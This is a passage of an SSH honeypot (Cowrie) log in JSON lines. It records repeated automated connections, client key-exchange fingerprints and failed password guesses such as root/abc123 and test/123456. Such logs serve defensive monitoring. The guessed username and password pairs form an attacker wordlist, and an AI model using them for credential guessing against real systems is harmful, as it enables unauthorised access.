sh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:44.433815Z","src_ip":"159.203.92.129","session":"50d94a9522a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:44.523904Z","src_ip":"192.109.200.78","session":"41d186d37285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"SOS","password":"SOS","message":"login attempt [SOS/SOS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:44.608185Z","src_ip":"159.203.92.129","session":"50d94a9522a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:45.610025Z","src_ip":"192.109.200.78","session":"41d186d37285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:45.621145Z","src_ip":"159.203.92.129","session":"50d94a9522a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58574,"dst_ip":"159.203.135.109","dst_port":22,"session":"abda608cd650","protocol":"ssh","message":"New connection: 192.109.200.78:58574 (159.203.135.109:22) [session: abda608cd650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:47.983679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:47.989205Z","src_ip":"192.109.200.78","session":"abda608cd650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:48.073351Z","src_ip":"192.109.200.78","session":"abda608cd650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:48.322547Z","src_ip":"192.109.200.78","session":"abda608cd650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:49.535534Z","src_ip":"192.109.200.78","session":"abda608cd650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49550,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d24bb03ae5c","protocol":"ssh","message":"New connection: 192.109.200.78:49550 (159.203.135.109:22) [session: 7d24bb03ae5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:51.730192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:51.734925Z","src_ip":"192.109.200.78","session":"7d24bb03ae5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:51.871411Z","src_ip":"192.109.200.78","session":"7d24bb03ae5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:52.215030Z","src_ip":"192.109.200.78","session":"7d24bb03ae5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:53.317033Z","src_ip":"192.109.200.78","session":"7d24bb03ae5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49564,"dst_ip":"159.203.135.109","dst_port":22,"session":"9402d0ac3a45","protocol":"ssh","message":"New connection: 192.109.200.78:49564 (159.203.135.109:22) [session: 9402d0ac3a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:55.563313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:55.568385Z","src_ip":"192.109.200.78","session":"9402d0ac3a45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:55.650530Z","src_ip":"192.109.200.78","session":"9402d0ac3a45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:55.901671Z","src_ip":"192.109.200.78","session":"9402d0ac3a45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:56.987931Z","src_ip":"192.109.200.78","session":"9402d0ac3a45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40752,"dst_ip":"159.203.135.109","dst_port":22,"session":"a798851d8166","protocol":"ssh","message":"New connection: 192.109.200.78:40752 (159.203.135.109:22) [session: a798851d8166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:59.187371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:59.191844Z","src_ip":"192.109.200.78","session":"a798851d8166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:59.274523Z","src_ip":"192.109.200.78","session":"a798851d8166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:59.520385Z","src_ip":"192.109.200.78","session":"a798851d8166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:00.606424Z","src_ip":"192.109.200.78","session":"a798851d8166","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40768,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d7395be49b9","protocol":"ssh","message":"New connection: 192.109.200.78:40768 (159.203.135.109:22) [session: 2d7395be49b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:03.007098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:03.037425Z","src_ip":"192.109.200.78","session":"2d7395be49b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:03.097904Z","src_ip":"192.109.200.78","session":"2d7395be49b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:03.712208Z","src_ip":"192.109.200.78","session":"2d7395be49b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:04.798442Z","src_ip":"192.109.200.78","session":"2d7395be49b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40782,"dst_ip":"159.203.135.109","dst_port":22,"session":"c82d532676cc","protocol":"ssh","message":"New connection: 192.109.200.78:40782 (159.203.135.109:22) [session: c82d532676cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:06.770316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:06.775233Z","src_ip":"192.109.200.78","session":"c82d532676cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:06.857746Z","src_ip":"192.109.200.78","session":"c82d532676cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:07.105777Z","src_ip":"192.109.200.78","session":"c82d532676cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:08.192517Z","src_ip":"192.109.200.78","session":"c82d532676cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55774,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ed33e33690a","protocol":"ssh","message":"New connection: 192.109.200.78:55774 (159.203.135.109:22) [session: 3ed33e33690a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:10.528669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:10.533950Z","src_ip":"192.109.200.78","session":"3ed33e33690a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:10.618345Z","src_ip":"192.109.200.78","session":"3ed33e33690a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:10.876027Z","src_ip":"192.109.200.78","session":"3ed33e33690a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:11.961140Z","src_ip":"192.109.200.78","session":"3ed33e33690a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55788,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6f1f47807e4","protocol":"ssh","message":"New connection: 192.109.200.78:55788 (159.203.135.109:22) [session: a6f1f47807e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:14.241764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:14.311404Z","src_ip":"192.109.200.78","session":"a6f1f47807e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:14.351298Z","src_ip":"192.109.200.78","session":"a6f1f47807e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:14.648302Z","src_ip":"192.109.200.78","session":"a6f1f47807e4","protocol":"ssh"}
